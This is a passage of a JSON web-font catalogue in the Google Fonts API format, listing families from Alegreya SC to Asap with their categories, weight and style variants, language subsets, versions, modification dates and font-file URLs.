"http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYU_LUxQqu2FXKD.ttf", "800": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYI_7UxQqu2FXKD.ttf", "900": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYs_rUxQqu2FXKD.ttf", "regular": "http://fonts.gstatic.com/s/alegreyasc/v11/taiOGmRtCJ62-O0HhNEa-a6o05E5abe_.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiMGmRtCJ62-O0HhNEa-Z6q2ZUbbKe_DGs.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4WEySK-UEGKDBz4.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4Sk0SK-UEGKDBz4.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4TU3SK-UEGKDBz4.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4RE2SK-UEGKDBz4.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya Sans", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v10", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt5TltuGdShm5bsg.ttf", "300": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5fFPmE18imdCqxI.ttf", "500": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5alOmE18imdCqxI.ttf", "700": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5eFImE18imdCqxI.ttf", "800": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5f1LmE18imdCqxI.ttf", "900": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5dlKmE18imdCqxI.ttf", "100italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUv9_-1phKLFgshYDvh6Vwt7V9V3G1WpGtLsgu7.ttf", "300italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VFE92jkVHuxKiBA.ttf", "regular": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUz9_-1phKLFgshYDvh6Vwt3V1nvEVXlm4.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt7V9tuGdShm5bsg.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VTE52jkVHuxKiBA.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VBEh2jkVHuxKiBA.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VGEt2jkVHuxKiBA.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VPEp2jkVHuxKiBA.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya Sans SC", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Dipl8g5FPYtmMg.ttf", "300": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DuJH0iRrMYJ_K-4.ttf", "500": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DrpG0iRrMYJ_K-4.ttf", "700": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DvJA0iRrMYJ_K-4.ttf", "800": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1Du5D0iRrMYJ_K-4.ttf", "900": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DspC0iRrMYJ_K-4.ttf", "100italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGl4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdlgRBH452Mvds.ttf", "300italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdXiZhNaB6O-51OA.ttf", "regular": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGh4-RGJqfMvt7P8FUr0Q1j-Hf1Nk5v9ixALYs.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Bkxl8g5FPYtmMg.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdBidhNaB6O-51OA.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdTiFhNaB6O-51OA.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdUiJhNaB6O-51OA.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxddiNhNaB6O-51OA.ttf" } }, { "kind": "webfonts#webfont", "family": "Aleo", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v3", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syKbr9DVDno985KM.ttf", "700": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syLbs9DVDno985KM.ttf", "300italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxeDdJmq159KOnWA.ttf", "regular": "http://fonts.gstatic.com/s/aleo/v3/c4mv1nF8G8_s8ArD0D1ogoY.ttf", "italic": "http://fonts.gstatic.com/s/aleo/v3/c4mh1nF8G8_swAjJ1B9tkoZl_Q.ttf", "700italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxaDBJmq159KOnWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Alex Brush", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alexbrush/v11/SZc83FzrJKuqFbwMKk6EtUL57DtOmCc.ttf" } }, { "kind": "webfonts#webfont", "family": "Alfa Slab One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/alfaslabone/v9/6NUQ8FmMKwSEKjnm5-4v-4Jh6dVretWvYmE.ttf" } }, { "kind": "webfonts#webfont", "family": "Alice", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alice/v11/OpNCnoEEmtHa6FcJpA_chzJ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Alike", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alike/v12/HI_EiYEYI6BIoEjBSZXAQ4-d.ttf" } }, { "kind": "webfonts#webfont", "family": "Alike Angular", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alikeangular/v10/3qTrojWunjGQtEBlIcwMbSoI3kM6bB7FKjE.ttf" } }, { "kind": "webfonts#webfont", "family": "Allan", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/allan/v12/ea8aadU7WuTxEu5KEPCN2WpNgEKU.ttf", "regular": "http://fonts.gstatic.com/s/allan/v12/ea8XadU7WuTxEtb2P9SF8nZE.ttf" } }, { "kind": "webfonts#webfont", "family": "Allerta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allerta/v10/TwMO-IAHRlkbx940UnEdSQqO5uY.ttf" } }, { "kind": "webfonts#webfont", "family": "Allerta Stencil", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allertastencil/v10/HTx0L209KT-LmIE9N7OR6eiycOeF-zz313DuvQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Allura", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allura/v8/9oRPNYsQpS4zjuAPjAIXPtrrGA.ttf" } }, { "kind": "webfonts#webfont", "family": "Almarai", "category": "sans-serif", "variants": [ "300", "regular", "700", "800" ], "subsets": [ "arabic" ], "version": "v2", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_anhnicoq72sXg.ttf", "700": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS-aghnicoq72sXg.ttf", "800": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_qjhnicoq72sXg.ttf", "regular": "http://fonts.gstatic.com/s/almarai/v2/tsstApxBaigK_hnnc1qPonC3vqc.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/almendra/v12/H4cjBXKAlMnTn0Cskx6G7Zu4qKK-aihq.ttf", "regular": "http://fonts.gstatic.com/s/almendra/v12/H4ckBXKAlMnTn0CskyY6wr-wg763.ttf", "italic": "http://fonts.gstatic.com/s/almendra/v12/H4ciBXKAlMnTn0CskxY4yLuShq63czE.ttf", "700italic": "http://fonts.gstatic.com/s/almendra/v12/H4chBXKAlMnTn0CskxY48Ae9oqacbzhqDtg.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra Display", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/almendradisplay/v10/0FlPVOGWl1Sb4O3tETtADHRRlZhzXS_eTyer338.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/almendrasc/v10/Iure6Yx284eebowr7hbyTZZJprVA4XQ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Amarante", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amarante/v7/xMQXuF1KTa6EvGx9bq-3C3rAmD-b.ttf" } }, { "kind": "webfonts#webfont", "family": "Amaranth", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/amaranth/v10/KtkpALODe433f0j1zMF-OPWi6WDfFpuc.ttf", "regular": "http://fonts.gstatic.com/s/amaranth/v10/KtkuALODe433f0j1zPnCF9GqwnzW.ttf", "italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkoALODe433f0j1zMnAHdWIx2zWD4I.ttf", "700italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkrALODe433f0j1zMnAJWmn42T9E4ucRY8.ttf" } }, { "kind": "webfonts#webfont", "family": "Amatic SC", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/amaticsc/v13/TUZ3zwprpvBS1izr_vOMscG6eb8D3WTy-A.ttf", "regular": "http://fonts.gstatic.com/s/amaticsc/v13/TUZyzwprpvBS1izr_vO0De6ecZQf1A.ttf" } }, { "kind": "webfonts#webfont", "family": "Amethysta", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amethysta/v8/rP2Fp2K15kgb_F3ibfWIGDWCBl0O8Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Amiko", "category": "sans-serif", "variants": [ "regular", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "600": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uJ9XXrEGoQAUco5.ttf", "700": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uIZXHrEGoQAUco5.ttf", "regular": "http://fonts.gstatic.com/s/amiko/v4/WwkQxPq1DFK04tqlc17MMZgJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Amiri", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/amiri/v13/J7acnpd8CGxBHp2VkZY4xJ9CGyAa.ttf", "regular": "http://fonts.gstatic.com/s/amiri/v13/J7aRnpd8CGxBHqUpvrIw74NL.ttf", "italic": "http://fonts.gstatic.com/s/amiri/v13/J7afnpd8CGxBHpUrtLYS6pNLAjk.ttf", "700italic": "http://fonts.gstatic.com/s/amiri/v13/J7aanpd8CGxBHpUrjAo9zptgHjAavCA.ttf" } }, { "kind": "webfonts#webfont", "family": "Amita", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/amita/v5/HhyXU5si9Om7PTHTLtCCOopCTKkI.ttf", "regular": "http://fonts.gstatic.com/s/amita/v5/HhyaU5si9Om7PQlvAfSKEZZL.ttf" } }, { "kind": "webfonts#webfont", "family": "Anaheim", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anaheim/v7/8vII7w042Wp87g4G0UTUEE5eK_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Andada", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/andada/v11/uK_y4riWaego3w9RCh0TMv6EXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Andika", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/andika/v11/mem_Ya6iyW-LwqgAbbwRWrwGVA.ttf" } }, { "kind": "webfonts#webfont", "family": "Angkor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/angkor/v12/H4cmBXyAlsPdnlb-8iw-4Lqggw.ttf" } }, { "kind": "webfonts#webfont", "family": "Annie Use Your Telescope", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/annieuseyourtelescope/v10/daaLSS4tI2qYYl3Jq9s_Hu74xwktnlKxH6osGVGjlDfB3UUVZA.ttf" } }, { "kind": "webfonts#webfont", "family": "Anonymous Pro", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "greek", "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2cp2a15UIB7Un-bOeISG3pFuAT0CnW7KOywKo.ttf", "regular": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2Bp2a15UIB7Un-bOeISG3pLlw89CH98Ko.ttf", "italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2fp2a15UIB7Un-bOeISG3pHl428AP44Kqr2Q.ttf", "700italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2ap2a15UIB7Un-bOeISG3pHl4OTCzc6IG30KqB9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/antic/v11/TuGfUVB8XY5DRaZLodgzydtk.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic Didone", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anticdidone/v8/RWmPoKKX6u8sp8fIWdnDKqDiqYsGBGBzCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anticslab/v8/bWt97fPFfRzkCa9Jlp6IWcJWXW5p5Qo.ttf" } }, { "kind": "webfonts#webfont", "family": "Anton", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/anton/v11/1Ptgg87LROyAm0K08i4gS7lu.ttf" } }, { "kind": "webfonts#webfont", "family": "Arapey", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arapey/v8/-W__XJn-UDDA2RC6Z9AcZkIzeg.ttf", "italic": "http://fonts.gstatic.com/s/arapey/v8/-W_9XJn-UDDA2RCKZdoYREcjeo0k.ttf" } }, { "kind": "webfonts#webfont", "family": "Arbutus", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arbutus/v9/NaPYcZ7dG_5J3poob9JtryO8fMU.ttf" } }, { "kind": "webfonts#webfont", "family": "Arbutus Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arbutusslab/v8/oY1Z8e7OuLXkJGbXtr5ba7ZVa68dJlaFAQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Architects Daughter", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/architectsdaughter/v10/KtkxAKiDZI_td1Lkx62xHZHDtgO_Y-bvfY5q4szgE-Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2019-07-26", "files": { "500": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdSrLC0HrLaqM6Q4.ttf", "600": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdQbMC0HrLaqM6Q4.ttf", "700": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdWLNC0HrLaqM6Q4.ttf", "regular": "http://fonts.gstatic.com/s/archivo/v6/k3kQo8UDI-1M0wlSTd7iL0nAMaM.ttf", "italic": "http://fonts.gstatic.com/s/archivo/v6/k3kSo8UDI-1M0wlSfdzoK2vFIaOV8A.ttf", "500italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ30LhKYiJ-Q7m8w.ttf", "600italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ80XhKYiJ-Q7m8w.ttf", "700italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQl0ThKYiJ-Q7m8w.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo Black", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/archivoblack/v9/HTxqL289NzCGg4MzN6KJ7eW6OYuP_x7yx3A.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo Narrow", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-26", "files": { "500": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4Dqlla8dMgPgBu.ttf", "600": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4vrVla8dMgPgBu.ttf", "700": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b5LrFla8dMgPgBu.ttf", "regular": "http://fonts.gstatic.com/s/archivonarrow/v11/tss0ApVBdCYD5Q7hcxTE1ArZ0Yb3g31S2s8p.ttf", "italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tss2ApVBdCYD5Q7hcxTE1ArZ0bb1iXlw398pJxk.ttf", "500italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1sY1Z-9cCOxBu_BM.ttf", "600italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1saFe-9cCOxBu_BM.ttf", "700italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1scVf-9cCOxBu_BM.ttf" } }, { "kind": "webfonts#webfont", "family": "Aref Ruqaa", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "arabic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkYxPW1E165rajQKDulKDwNcNIS2N_7Bdk.ttf", "regular": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkbxPW1E165rajQKDulEIAiVNo5xNY.ttf" } }, { "kind": "webfonts#webfont", "family": "Arima Madurai", "category": "display", "variants": [ "100", "200", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "tamil", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t4IRoeKYORG0WNMgnC3seB1V3PqrGCch4Drg.ttf", "200": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1fHuipusfhcat2c.ttf", "300": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1ZXtipusfhcat2c.ttf", "500": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1c3sipusfhcat2c.ttf", "700": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1YXqipusfhcat2c.ttf", "800": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1Znpipusfhcat2c.ttf", "900": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1b3oipusfhcat2c.ttf", "regular": "http://fonts.gstatic.com/s/arimamadurai/v5/t5tmIRoeKYORG0WNMgnC3seB7TnFrpOHYh4.ttf" } }, { "kind": "webfonts#webfont", "family": "Arimo", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/arimo/v13/P5sBzZCDf9_T_1Wi4QREp5On0ME2.ttf", "regular": "http://fonts.gstatic.com/s/arimo/v13/P5sMzZCDf9_T_20eziBMjI-u.ttf", "italic": "http://fonts.gstatic.com/s/arimo/v13/P5sCzZCDf9_T_10cxCRuiZ-uydg.ttf", "700italic": "http://fonts.gstatic.com/s/arimo/v13/P5sHzZCDf9_T_10c_JhBrZeF1dE2PY4.ttf" } }, { "kind": "webfonts#webfont", "family": "Arizonia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arizonia/v10/neIIzCemt4A5qa7mv6WGHK06UY30.ttf" } }, { "kind": "webfonts#webfont", "family": "Armata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/armata/v11/gokvH63_HV5jQ-E9lD53Q2u_mQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Arsenal", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/arsenal/v4/wXKuE3kQtZQ4pF3D7-P5JeQAmX8yrdk.ttf", "regular": "http://fonts.gstatic.com/s/arsenal/v4/wXKrE3kQtZQ4pF3D11_WAewrhXY.ttf", "italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKpE3kQtZQ4pF3D513cBc4ulXYrtA.ttf", "700italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKsE3kQtZQ4pF3D513kueEKnV03vdnKjw.ttf" } }, { "kind": "webfonts#webfont", "family": "Artifika", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/artifika/v10/VEMyRoxzronptCuxu6Wt5jDtreOL.ttf" } }, { "kind": "webfonts#webfont", "family": "Arvo", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-26", "files": { "700": "http://fonts.gstatic.com/s/arvo/v13/tDbM2oWUg0MKoZw1yLTA8vL7lAE.ttf", "regular": "http://fonts.gstatic.com/s/arvo/v13/tDbD2oWUg0MKmSAa7Lzr7vs.ttf", "italic": "http://fonts.gstatic.com/s/arvo/v13/tDbN2oWUg0MKqSIQ6J7u_vvijQ.ttf", "700italic": "http://fonts.gstatic.com/s/arvo/v13/tDbO2oWUg0MKqSIoVLHK9tD-hAHkGg.ttf" } }, { "kind": "webfonts#webfont", "family": "Arya", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/arya/v5/ga6NawNG-HJdzfra3b-BaFg3dRE.ttf", "regular": "http://fonts.gstatic.com/s/arya/v5/ga6CawNG-HJd9Ub1-beqdFE.ttf" } }, { "kind": "webfonts#webfont", "family": "Asap", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-26", "files": { "500": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw8g9xUxlBz88MsA.ttf", "600": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw-Q6xUxlBz88MsA.ttf", "700": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw4A7xUxlBz88MsA.ttf", "regular": "http://fonts.gstatic.com/s/asap/v11/KFOoCniXp96a-zwU4UROGzY.ttf", "italic": "http://fonts.gstatic.com/s/asap/v11/KFOmCniXp96ayz4e5WZLCzYlKw.ttf", "500italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mEU9vAx05IsDqlA.ttf", "600italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mPUhvAx05IsDqlA.ttf", "700italic": 